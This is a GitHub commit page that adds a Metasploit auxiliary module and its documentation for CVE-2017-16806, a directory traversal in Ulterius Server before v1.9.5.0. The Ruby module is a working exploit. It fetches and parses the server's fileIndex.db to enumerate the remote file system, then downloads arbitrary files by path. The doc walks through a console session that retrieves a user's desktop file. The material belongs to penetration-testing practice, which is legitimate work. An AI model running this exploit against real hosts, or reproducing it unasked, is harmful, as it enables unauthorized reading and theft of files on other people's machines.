Skip to content

Commit b533ec6

Browse files
committed
Land rapid7#9509, Ulterius Server < v1.9.5.0 Directory Traversal
Land rapid7#9509
2 parents c4c864f + 949b474 commit b533ec6

File tree

2 files changed

+168
-0
lines changed

2 files changed

+168
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
## Description
2+
3+
This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's `HttpServer.Process` function call. While processing file requests, the `HttpServer.Process` function does not validate that the requested file is within the web server's root directory or a subdirectory.
4+
5+
## Vulnerable Application
6+
7+
When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called `fileIndex.db`, which contains filenames and directories located on the server. By requesting `fileIndex.db` and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing `fileIndex.db`, additional requests can be generated to download desired files.
8+
9+
As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the `fileIndex.db` is usually located at:
10+
11+
`http://ulteriusURL:22006/.../fileIndex.db`
12+
13+
Note: 22006 was the default port after setting up the Ulterius Server.
14+
15+
After retrieving absolute paths for files, the files can be retrieved by sending requests of the form:
16+
17+
`http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>`
18+
19+
Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the `HttpServer.Process` function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function.
20+
21+
> If *path2* includes a root, *path2* is returned.
22+
23+
## Options
24+
25+
**PATH**
26+
27+
This option specifies the absolute or relative path of the file to download. (default: `/…/fileIndex.db`)
28+
29+
Note: If you are using relative paths, use three periods when traversing down a level in the directory structure. If absolute paths are used, make sure to include the drive letter.
30+
31+
## Verification Steps
32+
33+
- [ ] Install Ulterius Server < v1.9.5.0
34+
- [ ] `./msfconsole`
35+
- [ ] `use auxiliary/admin/http/ulterius_file_download`
36+
- [ ] `set rhost <rhost>`
37+
- [ ] `run`
38+
- [ ] Verify loot contains file system paths from remote file system.
39+
- [ ] `set path '<DriveLetter>:/<path>/<to>/<file>'`
40+
- [ ] `run`
41+
- [ ] Verify contents of file
42+
43+
## Scenarios
44+
45+
### Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.
46+
47+
```
48+
msf5 > use auxiliary/admin/http/ulterius_file_download
49+
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
50+
rhost => 172.22.222.122
51+
msf5 auxiliary(admin/http/ulterius_file_download) > run
52+
53+
[*] Starting to parse fileIndex.db...
54+
[*] Remote file paths saved in: filepath0
55+
[*] Auxiliary module execution completed
56+
msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
57+
path => C:/users/pwnduser/desktop/tmp.txt
58+
msf5 auxiliary(admin/http/ulterius_file_download) > run
59+
60+
[*] C:/users/pwnduser/desktop/tmp.txt
61+
[*] File contents saved: filepath1
62+
[*] Auxiliary module execution completed
63+
msf5 auxiliary(admin/http/ulterius_file_download) >
64+
```
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(update_info(info,
11+
'Name' => 'Ulterius Server File Download Vulnerability',
12+
'Description' => %q{
13+
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
14+
to download files from the affected host. A valid file path is needed to download a file.
15+
Fortunately, Ulterius indexes every file on the system, which can be stored in the
16+
following location:
17+
18+
http://ulteriusURL:port/.../fileIndex.db.
19+
20+
This module can download and parse the fileIndex.db file. There is also an option to
21+
download a file using a provided path.
22+
},
23+
'Author' =>
24+
[
25+
'Rick Osgood', # Vulnerability discovery and PoC
26+
'Jacob Robles' # Metasploit module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'EDB', '43141' ],
32+
[ 'CVE', '2017-16806' ]
33+
]))
34+
35+
register_options(
36+
[
37+
Opt::RPORT(22006),
38+
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
39+
])
40+
end
41+
42+
def process_data(index, parse_data)
43+
length = parse_data[index].unpack('C')[0]
44+
length += parse_data[index+1].unpack('C')[0]
45+
length += parse_data[index+2].unpack('C')[0]
46+
length += parse_data[index+3].unpack('C')[0]
47+
48+
index += 4
49+
filename = parse_data[index...index+length]
50+
index += length
51+
return index, filename
52+
end
53+
54+
def inflate_parse(data)
55+
zi = Zlib::Inflate.new(window_bits =-15)
56+
data_inflated = zi.inflate(data)
57+
58+
parse_data = data_inflated[8...-1]
59+
remote_files = ""
60+
61+
index = 0
62+
print_status('Starting to parse fileIndex.db...')
63+
while index < parse_data.length
64+
index, filename = process_data(index, parse_data)
65+
index, directory = process_data(index, parse_data)
66+
remote_files << directory + '\\' + filename + "\n"
67+
68+
#skip FFFFFFFFFFFFFFFF
69+
index += 8
70+
end
71+
myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system')
72+
print_status("Remote file paths saved in: #{myloot.to_s}")
73+
end
74+
75+
def run
76+
path = datastore['PATH']
77+
# Always make sure there is a starting slash so as an user,
78+
# we don't need to worry about it.
79+
path = "/#{path}" if path && path[0] != '/'
80+
81+
print_status("Requesting: #{path}")
82+
83+
begin
84+
res = send_request_cgi({
85+
'uri' => normalize_uri(path),
86+
'method' => 'GET'
87+
})
88+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
89+
Rex::HostUnreachable, Errno::ECONNRESET => e
90+
vprint_error("Failed: #{e.class} - #{e.message}")
91+
return
92+
end
93+
94+
if res && res.code == 200
95+
if path =~ /fileIndex\.db/i
96+
inflate_parse(res.body)
97+
else
98+
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system')
99+
print_status("File contents saved: #{myloot.to_s}")
100+
end
101+
end
102+
end
103+
104+
end

0 commit comments

Comments
 (0)